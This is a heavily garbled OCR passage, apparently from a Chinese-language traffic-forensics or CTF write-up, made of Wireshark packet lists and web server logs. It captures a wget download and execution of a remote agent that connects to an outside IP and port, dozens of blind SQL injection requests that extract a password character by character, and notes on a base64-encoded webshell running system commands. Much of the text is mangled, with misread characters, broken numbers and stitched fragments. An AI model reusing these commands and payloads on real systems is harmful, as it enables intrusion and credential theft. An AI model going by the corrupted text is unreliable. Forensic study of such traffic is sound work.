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3.128.156.159

Transmission Control Protocol, Src Port: B@8@, Dst Port: 55784, Seq: 103, Ack: 7884
* Hypertext Transfer Protocol
v~ .fios_agent -c 3.128.156.159:8881 -s hackdsec\n
[Expert Info (Warning/Protocol): Illegal characters found in header name]

o= 4, e 56,190, Outs B2, 180
ool S Porks B0, Oui Port: VITBS, Seq: W, Ack: TESA, Les

da B0 e A8
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78 : 5055
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185 Wi~ LT
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132814, 150, DSt TR 508, 1.8
Sey Ppeny B, Byl Poets SN, Saqo 8, Aike 63, Lewg W

Transmissicn Control Protocol, Src Poec: 8088, Dst Pore: S5704, Sag: 4, Ack: 63, Len: 95

liypertext Transfer Protocol

= wget httpa://github.com/phintonn/Stowmeay, relesses fdowmboad /1. 6.2/ ips_agent B3 cheod 755 ios_asgent'n
[Empert Info (Harning/Protocel}: Illegsl characters found in header nase]

10.3

¥ Nepnep

ST HAEE R

I RN S B SR .

TEZE— @ B 58 E B hack4sec
Transmission Control Protocol, Src Port: 8888, Dst Port: 557084, Seq: 103, Ack: 7884
* Hypertext Transfer Protocol

v .fios_agent -c 3.128.156.159:8881 -s hackdsec\n
[Expert Info (Warning/Protocol): Illegal characters found in header name]
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R A FE TLS I O I B 75 22 FH B AR GH AT i o

0. L0 . £5D , 100 (AW o 00 22590 7 440 ALK ] EYTL ALKTL WINTLlJ1lo4a Lel
20.2085.243.166 TLSv1.3 466 Client Hello

192.168.1.255 ubp 3@5 54915 - 54915 Len=263

192.168.1.8 TLSv1.3 1454 Server Hello, Change Cipher Spec, Applicati
192.168.1.8 TCP 1387 443 -+ 55783 [PSH, ACK] Seq=1389 Ack=481 Win:
20.2085.243.166 TCP 66 55783 -+ 443 [ACK] Seq=481 Ack=2718 Win=1298

20.2085.243.166 TLSv1.3 138 Change Cipher Spec, Application Data

P [TCP Spurious Retransmission] 443 -
287 Application Data
86 Multicast Listener

1454 [TCP : =

208.205.243.166 TLSv1.3
£f02::1:Ff00:0 ICMPV6
1 .1.8 T 3

Report

.243.1 C [ :
192.168.1.255 UDP 385 54915 + 54915 Len=
1 8.1 3 1454 [T urd tr

CP Retra

255.255.255.255 upbp 13@ i2476 = 12476 Len=88

Tibia ~
TIME

TIPC
TiVoConnect
TLS | | Browse™ 1
TS
Token-Ring
TPCP

TPKT
TEMZ2.0 Fre—Shared-Key

TPMNCP (Pre)Mazter—Secret log filename

TRANSUM |\BaiduNetdis]{Download\ios\]{eylog. txt Browse "
TSDMS

TSP

TTE
TURMCHANN
TUXEDO 0,
TZSP I|
UA3G

UASIP
UAUDP

Transport Laver Security
ESh kevs list Edite
TLS debug file

Reazzemble TLS records spanning multiple TCF segments
Feazzemble TLS Application Data spanming multiple TLS records

[ Mes=zage muthentication Code (MAC), igmore “mac failed” H

[ ok || Cencel Hele | [S

KIhttp2 h AFFE BB IMEANFE, T I8http2, T M AT T



168.1.8 HTTP2 92 DATA[41] (text/plain)
155.151.178 TCP 54 55188 + 443 [ACK] Seq=6971 Ack=12968 Win=262816 Len=8
168.1.8 HTTP2 92 DATA[195] (text/plain)
155.151.178 TCP 54 55186 + 443 [ACK] Seq=53988 Ack-44876 Win=262816 Len=8
168.1.255 upp 385 54915 -+ 54915 Len=263
168.1.8 TCP 388 8081 -+ 55712 [PSH, ACK] Seq=130795 Ack=303777 Win=188672 Len=242 TSval=2926994966 TSecr=196851739
8.156.159 TCP 66 55712 + 8881 [ACK] Seq=303777 Ack=131837 Win=138816 Len=8 TSval=196851987 TSecr=2926994966
168.1.13 HTTP2 247 HEADERS[1869]: GET /info?1=1&0=%28case when_%28select hex%28substr¥%28password%2C38%2C1%29%29 from_user%29%3|
168.1.8 TLSv1.2 557 Application Data, Application Data
168.1.12 TCP 66 55716 + 443 [ACK] Seq=97979 Ack=265108 Win=13856@ Len=A TSval=196852081 TSecr=556487157
8.156.159 TCP 626 55712 + 8081 [PSH, ACK] Seq=383777 Ack=131037 Win=131872 Len=568 TSval=196852001 TSecr=2926994966
168.1.8 TCP 308 8081 -~ 55712 [PSH, ACK] Seq=131837 Ack=384337 Win=108672 Len=242 TSval=2926995234 TSecr=196852001
8.156.159 TCP 66 55712 - 8881 [ACK] Seq=384337 Ack=131279 Win=138816 Len=B TSval=196852291 TSecr=2926995234
168.1.12 HTTP2 247 HEADERS[1871]: GET /info?1=1&0=%28case_when_%28select hex#28substr#28password®2C38%2(1%29%29_from_user#29%3|
168.1.8 TLSv1.2 580 Application Data, Application Data
168.1.12 TCP 66 55716 + 443 [ACK] Seq=98168 Ack=265614 Win=138496 Len=B TSval=196852301 TSecr=556487459
8.156.159 TCP 658 55712 + 8881 [PSH, ACK] Seq=304337 Ack=131279 Win=131072 Len=592 TSval=196@52301 TSecr=2926995234
168.1.8 TCP 308 8081 - 55712 [PSH, ACK] Seq=131279 Ack=304929 Win=108672 Len=242 TSval=2926995536 TSecr=196052301
8.156.159 TCP 66 55712 + 8881 [ACK] Seq=384929 Ack=131521 Win=138816 Len=8 TSval=196852596 TSecr=2926995536
168.1.12 HTTP2 247 HEADERS[1873]: GET /info?1=18&0=%28case_when_%28select_hex%28substr¥28password%2(38%201%29%29_from_user%29%3|
168.1.8 TLSv1.2 557 Application Data, Application Data
168.1.12 TCP 66 55716 + 443 [ACK] Seq=98341 Ack=266185 Win=138568 Len=08 TSval=19608526087 TSecr=556487768
8.156.159 TCP 626 55712 - 8081 [PSH, ACK] Seq=304929 Ack=131521 Win=131872 Len=56@ TSval=196@52607 TSecr=2926995536
168.1.8 TCP 388 80881 » 55712 [PSH, ACK] Seq=131521 Ack=305489 Win=188672 Len=242 TSval=2926995845 TSecr=196852607
8.156.159 TCP 66 55712 -+ 8881 [ACK] Seq=385489 Ack=131763 Win=138816 Len=8 TSval=196852901 TSecr=2926995845
168.1.12 HTTP2 247 HEADERS[1875]: GET /info?1-1&0=%28case_when_%28select hex¥28substr¥28password¥2C38%2C1%29%29_from_user29%3|
168.1.8 TLSv1.2 557 Application Data, Application Data
168.1.12 TCP 66 55716 = 443 [ACK] Seq=98522 Ack=266596 Win=13856@ Len=B TSval=1968529089 TSecr=556488073
8.156.159 TCP 626 55712 + 8881 [PSH, ACK] Seq=3@5489 Ack=131763 Win=131072 Len=568 TSval=196852909 TSecr=2926995845
9.8.251 MDNS 89 Standard query ©x088@ SRV ncm._remoted._tcp.local, "QM" question TXT ncm._remoted._ tcp.local, "QM" question
A B (& b} E E G
724| 51440 1300 192.168.1.6192.168.1..HTTP2 247 HEADERSI815L: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28passwordh2C36%2C1%29%29 from_user’294%3D%222B%22 then_id_else_coll end%29, WINDOW_UPDATE[815]
725| 51446 1301 192.168.1.6192.168.1.1HTTP2 265 HEADERS[B17]: GET /info?l=1&0=428case_when_li28select_hex}28substrii28passwordh2C36%2C1%29%29_from_userk29%30%2220%22_then_id_else_coll_end%29, WINDOW_UPDATE[817]
726| 51453 1301 192.168.1.£192.168. 1.1 HTTPZ 248 HEADERS[819]: GET /info?l=1&0=%28case when_%28select_hex¥28substrii28passwordh2C36%2C1%29%29_from user’29%30%2278%22 then id_else_coll end%29, WINDOW_UPDATE[819]
727| 51460 1301 192.168.1.£192.168.1.1 247 HEADERS[B21]: GET /info?l=1&0=%28case when_%28select_hexi28substrii28passwordh2C36%2C1%29%29_from_user%29%30%227D%22_then_id_else_coll end%29, WINDOW_UPDATE[821]
728| 51466 1302 192.168.1.6192.168 247 HEADERS[823]: GET /info?l=1&0=%28case_when_%28select_hexk28substri28passwordh2C3642C1%29%29 from_userk29%3D%2230%22 then id_else_coll end%23, WINDOW_UPDATE[823]
729| 51473 1302 192.168.1.6192.188 247 HEADERS[825: GET /info?l=1&0="%28case_when_%28select_hex%28substrli28password%2C36%2C1%29%29 from_user’29%3D%2231%22 then_id_else_coll end%23, WINDOW_UPDATE[825]
730| 51479 1302 192.168.1£192.168.1.1 247 HEADERS[B27]: GET /info?l=1&o=%28case_when_%28select_hex}28substri28passwordh2C36%2C1%29%29_from_userk29%30%2232%22_then_id_else_col1_end%29, WINDOW_UPDATE[827]
731| 51487 1303 192.168.1.6192.168.1.1HTTP2 247 HEADERS[B29]: GET /info?l=1&o="28case_when_li28select_hex}28substrii28password%2C37%2C1%29%29_from_user29%3D%2228%22_then_id_else_coll_end%29, WINDOW_UPDATE[829]
732| 51508 1303 192.168.1.£192.168. 1.1 HTTP2 248 HEADERS[831]: GET /info?l=1&0=%28case when_%28select_hexi28substrii28passwordh2C37T%2C1%29%29_from _user%20%30%222D%22_then id_else_coll end%29, WINDOW_UPDATE[831]
733| 51526 1303 192.168.1.6192.168.1.1HTTP2 247 HEADERS[B33]: GET /info?l=1&0=%28case when %28select_hexi28substri28passwordh2C37%2C1%29%29_from_userk29%30%2278%22 then id_else_coll end%29, WINDOW_UPDATE[833]
734| 51532 1303 192.168.1.6192.168.1..HTTP2 247 HEADERS[835]: GET /info?l=1&0=%28case_when_%28select_hex%28substri28passwordh2C3TH2C1%29%29 from_userk29%3D%2270%22_then_id_else_coll_end%29, WINDOW_UPDATE[835]
735| 51538 1304 192.168.1.6192.168.1..HTTP2 247 HEADERS[837L: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28password%2C374%2C1%29%29 from_user’29%3D%2230%22 then_id_else_coll end%23, WINDOW_UPDATE[837]
736| 51545 1304 192.168.1.6192.168.1.1HTTP2 248 HEADERS[B39]: GET /info?l=1&0="428case_when_l28select_hex}28substrii28password42C37%2C1%29%29_from_user29%30%2231%22_then_id_else_col1_end%29, WINDOW_UPDATE[839]
737| 51551 1304 192.168.1.£192.168. 1.1 HTTPZ 248 HEADERS[841]: GET /info?l=1&0=%28case when %28select_hex¥28substrii28passwordh2C3T%2C1%29%29_from _user’29%30%2232%22 then id_else_coll end%29, WINDOW_UPDATE[841]
738| 51557 1305 192.168.1.£192.168. 1.1 HTTP2 248 HEADERS[B43]: GET /info?l=18&0=%28case when_%28select_hexi28substrii28passwordh2C37%2C1%29%29_from userk29%30%2233%22 then id_else_coll end%29, WINDOW_UPDATE[843]
739| 51564 1305 192.168.1.6192.168 TTP2 247 HEADERS[845]: GET /info?l=1&0=%28case_when_%28select_hexk28substri28passwordh2C3TH2C1%29%29 from_userk29%3D%2234%22 then id_else_coll end%28, WINDOW_UPDATE[845]
740| 51570 1305 192.168.1.6192.168 TTP2 248 HEADERS[847L: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28password%2C3T42C1%29%29 from_user’294%3D%2235%22 then_id_else_coll end%23, WINDOW_UPDATE[847]
741 51576 1306 192.168.1£192.168.1.{HTTP2 247 HEADERS[B49]: GET /info?l=1&0="%28case_when_%28select_hexk28substr28password42C37%2C1%29%29_from_userk 29%30%2236%22_then_id_else_col1_end%29, WINDOW_UPDATE[849]
742| 51583 1306 192.168.1.6192.168.1.1HTTP2 265 HEADERS[B51]: GET /info?l=1&o="428case_when_l28select_hex}28substrii28password%2C37%2C1%29%29_from_user29%30%2237%22_then_id_else_coll_end%29, WINDOW_UPDATE[851]
743| 51589 1306 192.168.1.£192.168. 1.1 HTTP2 247 HEADERS[853]: GET /info?l=1&0=%28case when_%28select_hex’28substrii28passwordh2C3T%2C1%29%29_from user’i20%30%2238%22 then id_else_coll end%29, WINDOW_UPDATE[853]
744| 51595 1307 192.168.1.£192.168. 1.1 HTTP2 248 HEADERS[B55]: GET /info?l=1&0=%28case_when %28select_hexi28substri28passwordh2C37%2C1%29%29_from _userk29%30%2239%22 then id_else_coll end%29, WINDOW_UPDATE[855]
745| 51603 1307 192.168.1.6192.168.1..HTTP2 247 HEADERSI857L: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28passwordh2C3TH2C1%29%29 from_userk29%3D%2261%22 then id_else_coll end%23, WINDOW_UPDATE[857]
746| 51609 1307 192.168.1.6192.168.1..HTTP2 248 HEADERS[859: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28password%2C374%2C1%29%29 from_user’294%3D%2262%22 then_id_else_coll end%23, WINDOW_UPDATE[859]
747| 51615 1308 192.168.1£192.168.1.{HTTP2 248 HEADERS[BB1]: GET /info?l=1&o=428case_when_k28select_hex}28substri28passwordh2C37%2C1%29%29_from_userk 29%30%2263%22_then_id_else_col1_end%29, WINDOW_UPDATE[861]
748| 51623 1308 192.168.1.£192.168. 1.1 HTTPZ 247 HEADERS[863]: GET /info?l=1&0=%28case when_%28select_hex¥28substrii28passwordh2C3T%2C1%29%29_from user’29%30%2264%22 then id_else_coll end%29, WINDOW_UPDATE[363]
749| 51630 1308 192.168.1.£192.168. 1.1 HTTP2 247 HEADERS[B65]: GET /info?l=18&0=%28case when_%28select_hexi28substrii28passwordh2C37%2C1%29%29_from userk29%30%2265%22 then id_else_coll end%29, WINDOW_UPDATE[865]
750| 51636 1309 192.168.1.6192.168.1.1 248 HEADERSIB67]: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28passwordh2C37T42C1%29%29_from_userk28%3D%2266%22 then id_else_coll end%28, WINDOW_UPDATE[867]
751| 51643 1309 192.168.1.6192.188 247 HEADERS[889L: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28password%2C3T42C1%29%29 from_user294%3D%2267%22 then_id_else_coll end%23, WINDOW_UPDATE[869]
752| 51649 1309 192.168.1£192.168 247 HEADERS[BT1]: GET /info?l=1&0="%28case_when_%28select_hexk28substr28password42C37%2C1%29%29_from_userk 29%30%2268%22_then_id_else_col1_end%29, WINDOW_UPDATE[871]
753| 51655 1309 192.168.1£192.168 247 HEADERS[BT3]: GET /info?l=1&0=428case_when_l28select_hex}28substrii28password42C37%2C1%29%29_from_userk29%30%2269%22_then_id_else_col1_end%29, WINDOW_UPDATE[873]
754| 51668 1310 192.168.1.£192.168 247 HEADERS[S75]: GET /info?l=1&0=%28case when_%28select_hex28substrii28passwordh2C37T%2C1%29%29_from _user%20%3D%226A%22_then_id_else_coll_end29, WINDOW_UPDATE[875]
755/ 51704 1310 192.168.1.£192.168. 1.1 HTTP2 248 HEADERS[B77]: GET /info?l=1&0=%28case_when_%28select_hexi28substrii28passwordh2C37%2C1%29%29_from_userk29%30%226B%22 then id_else_coll end%29, WINDOW_UPDATE[S77]
756| 51713 1310 192.168.1.6192.168.1..HTTP2 248 HEADERSI879I: GET /info?l=1&0=%28case_when_%28select_hex428substri28password%2C3TH2C1%29%29 from_useri29%3D%226CH22 then_id_else_coll_end%29, WINDOW_UPDATE[879]
757| 51725 1311 192.168.1.6192.168.1.HTTP2 247 HEADERS[881L: GET /info?l=1&0="%28case_when_%28select_hex%28substrii28password%2C374%2C1%29%29 from_userk29%3D%2260%22_then_id_else_coll_end%29, WINDOW_UPDATE[881]
758| 51732 1311 192.168.1£192.168.1.1HTTP2 247 HEADERS[B83]: GET /info?l=1&o=428case_when_%28select_hex}28substri28passwordh2C37%2C1%29%29_from_userk29%3D%4226E%22_then_id_else_col1_end%29, WINDOW_UPDATE[883]
759 51763 1311 192.168.1.£192.168. 1.1 HTTPZ 265 HEADERS[885]: GET /info?l=1&0=%28case when_%28select_hex¥28substrii28passwordh2C37%2C1%29%29_from _userk29%30%226F%22_then_id_else_coll end#29, WINDOW_UPDATE[SS5]
750/ 51841 1311 192.168.1.£192.168. 1.1 HTTP2 247 HEADERS[B87]: GET /info?l=18&0=%28case when_%28select_hexi28substrii28passwordh2C37%2C1%29%29_from userk29%30%2270%22 then id_else_coll end%29, WINDOW_UPDATE[S87]
761 51847 1312192.168.1.6192.168 TTP2 248 HEADERS[B89L: GET /info' &o=%28case when %28select hexk28substrii?8passwordb2C3T4¥2C1%29%29 from_user28%30%2271%22 then id_else_coll end%29, WINDOW _UPDATE[B8S

R A B BT — T
10.

http2

5




-7

a8 : 1005

W Nuil W RISIRIRIRIR... W e

sl liTEniaEEaTEeeESE . (R THaw-SEeRRl]” |, fin
1-65535)

pa RESE bk R R ERE R P o CREBER T 4 1 -45 R 17, 1l 711-65535)

L¢ tcpdump -n -r triffic.pcap awk $2%$3 sort -u > su.txt

reading from file triffic.pcap, link-type EN1@MB (Ethernet)

IP192. 168. 1. 12. 38

IP192. 168. 1. 12. 380
IP192. 168. 1. 12. 381
IP192. 168. 1. 12. 382
TIP192. 168. 1. 12. 383
IP192. 168. 1. 12. 384
TP192. 168. 1. 12. 385
IP192. 168. 1. 12. 386
IP192. 168. 1. 12. 387
IP192. 168. 1. 12. 388
TP192. 168. 1. 12. 389
IP192. 168. 1. 12. 39

TIP192. 168. 1. 12. 390
IP192. 168. 1. 12. 391
IP192. 168. 1. 12. 392
IP192. 168. 1. 12. 393
TIP192. 168. 1. 12. 394
IP192. 168. 1. 12. 395
TP192. 168. 1. 12. 396
IP192. 168. 1. 12. 397
TP192. 168. 1. 12. 398
IP192. 168. 1. 12. 399
TIP192. 168. 1. 12. 40

IP192. 168. 1. 12. 400
TIP192. 168. 1. 12. 401
IP192. 168. 1. 12. 402
TIP192. 168. 1. 12. 403
IP192. 168. 1. 12. 404
TP192. 168. 1. 12. 405
TP192. 168. 1. 12. 406
IP192. 168. 1. 12. 407
TP192. 168. 1. 12. 408
IP192. 168. 1. 12. 409
TIP192. 168. 1. 12. 41

IP192. 168. 1. 12. 410
TIP192. 168. 1. 12. 411
TP192 1R8] 1 12 412
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EFnn/BEs rARiE)LAMRSSES, IPHEs - (EMPzEEENNCHER:,
SRR, Hi0127.0.0.1#192.168.0.1)

REVIH/BGEE T AR LRSS, IPHubks o (BANPZIEENNEIRET, ERERDE, Fla
127.0.0.1#192.168.0.1)

172.28.0.2#192.168.1.12
HEEA—MT72[0

HiE A EHinfo?

A AR B AN sqEN K

10.8

¥ Ginkgo v chEEz=rE...

EEENT—iwebshell, E=1E4

mZE NT —/webshell, HZEiGK
##accessH &
Kma (&) .php

fif % base64 KILATsystemiz 4 whoami



T B 52 webshe ll ) 25 55 Ay fxxk

M siwia - D

I D Wt Bl BB

172.200.3 - - (RA/AUG/021:TEAAZE +0000] *GET jupkoad php HTTP/1.1° 200 42 *-* “Morlla/S 0 (Macinbosh 1ntel Ma O X 10_15_3) ApOWebKGUST7.36 (KHTML Bke Geckal Chioime/T8.0.0945.130 Satari/S37.36
T7228.0.3 - - [28/W0Q/P021:18:44:30 +0000] *GET Mavicon.ico HTTR/1.1* 200 43 *httpo//172 28.0.2/upload php “Mozilla/.0 (Matintosh; Intel hat 06 X 10_15_1) AppleWebkit/537 % (KMTML, like Gecko) Chrome)
1722803 - - [26/Augi2021:13:44:40 +0000] "GET fupload. php HTTF/1.1" 200 42 *-* "Moilays.0 [Macintosh Intel Mac O5 X 1015 3) AppleWebil/537.36 [KHTML e Geckal Chiome/73.0.3H5.130 Salar/f537.36
ATZ2B0.3 - - [26/AugUR021: 184441 +0000] *GET Maviconico HTTP/1.1° 200 43 *hitpe/1T2.28.0.2 upkoad php® "Morila/s.0 (Macintosh; Intel has 05X 10_15_3) AppleWebkit/S37. 36 (KHTML, like Gecko) C

722803 - - [24/WUQ/P021:18:44:44 +0000] *GET fupload. php HTTR/1.1° 200 42 . *Moxilla/5,0 (Macintosh: Infel Mac 06 X 10_15_) AppleWebiis 37,36 (KHTML e Gecka) Chrome/T9.0.1945,130 Safarif$17. 36
1722803 - - [28/AUgU2021:13:4:45 +0000] "GET /Tavicon.ico HTTP/1.1” 200 43 *hitpc//172.25.0.2fupload php” "Moaila/5.0 (Macintosh: Intel Mac 05 X 10._15_3) AppeWebKil/537.35 (KHTML like Gecko) Chiome
AT2200.3 - - [26/AuG/2021: 184446 + 0000] "GET fupboad. php HTTP/1.1" 200 42 *-* “Moalla/S.0 [Macintosh: Inel Mac 05 X 10_15_3) AppheWebIGUS 37,36 (IKHTML Bes Geckal Chiome/79.0.3945,1 30 Safaii537.36

TR220.0.3 - - [28/Mugi2021:1844:46 + 0000] “GET Maviconico HTTE/1.1* 200 43 *hitpet172 28.0.2/upload php® “Mozilla/S.0 (Macintosh; Intel biac 95 % 10_15_3) AppleWebKit/537 38 (KHTML, like Gecko) Chromey
1722803 - - [28/Auq/@02 11544046 + 0000] "GET fupload.php HTTR/ 1" 300 42 °-* "Mogdla/5.0 Macinbeshe Intel Mac 05 3 10_15_3) AppleWebkit/537,36 (KHTML Bee Gecka) Chromse75.0.3945,1 30 Satar/537,36
TF228.0.3 - - [28/Aug/202 11844047 + D000 “GET Maviconico HTTR/1.1" 200 43 “hitpc 1 T228.0.2 upload php® 'MOMEICMMM‘HM Iribed Bkac 5 X 10_15_3) AppleWebkil/S 3736 (KHTML, like Gecko) Chrome,
TF228.0.5 « - [28/0uq/2021:18:44:47 +0000] "GET fupload.php HTTR1.1% 200 42 *.* “Mogilla/5.0 Macintosh; Intel Mac 05 X 10 15_3) AppleWebeit 537 36 HTML, Bioe Gecko) ChiomaeT90.3945.1 50 SakaniS37 .36
1722803 - - [28/Auq/P021: 154448 + 0000] "GET fupdoad.php HTTR/1® 300 42 - "Mogla/5.0 Macinbesh: Intel MachS 1015 _3) AppleWebit 537,36 [KHTML Bee Gecka) Chiomsy75.0,3945.1 30 Satar/537.36
TT220.0.3 - - [28/Augqr2021: 154048 + DO00] * Gﬂ .m:m.n:o HITP 1.1" 200 43 “hllp 350 Mumow MMMH 05 X 10 15 I.I'S!i' Fb (KHTML, like Géckod Chrome,
TT2280.5 - - [2RAAUG/A021: 1844:48 -+ 000G] * = ’ Kit/557_ 35 (KHTHAL, like Gecko) Chrome;
172.28.0.3 - - [28/Auq/3021:15:45:14 +D000] el M O5 X 1015 _3) AppleWeliOons537,36 (KHTML.
TTE20.0.3 - - [26/Augi2021:15:45:14 + D000] 3 s " a5 (hacintoady Inted Mac OS5 X 1015 _3) A
1TE200.3 - - [28/Auq 2021184742 +0000) *POST nmplanTTP.rl |' 200 156 = ﬂ.wﬂ.ur!n I:IM'-I!M u; Inullla( osx 06 6; de- dﬂl.lpphw'lbmf!ﬂmis (KHTML, Bice Gocka) VersionS 04 Safarif535.2
172.28.0.3 - - [2B/AUGUR0Z1: 154753 +0000] "POST fma.php HTTR/1.1" 200 141 *-* "Momlla/5.0 [compatitle: MSIE 10.0; Macintosh: Infel Mac C15 X 10_7_3: Trident/6.0)" "=

TTE20.0.3 - - [28/Auq/2021: 154502 + DO00] “POST fmaphp HTTR.0® 200 142 * 'W.ﬂ [compatibhe: MSIE 900 Windows NT 600 Opera 12.14° * .

TF228.0.5 « - [28/00q/202 1184805 +0000] *POST fmacphp HTTPA * *Meozilla/S.0 (Windows NT 6.2 Wirds; x64; re2?.0) Geekoy/20121011 Firedon27.0° *.*

1722803 - - [28/Auq/A021:15:48:11 +0000] "POST fma.php HTTR/L1" 300 261 *-* "Mogila/5.0 [Wirdows NT 6.3 Winsd: x64) AppleWebKit/S37.35 (KHTML, like Gecko) Chrome/37.0.2045.0 Salari/537.35 ="
TTE20.0.3 - - [28/Augi2021: 154539 + D000] "POST fmaphp HTTR.E® 200 50 °-* “Moglla/50 (Windows NT 50) Appletebiins37. 36 (KHTML, like Gacke) Chromef310, 165016 Salari/537.36" =
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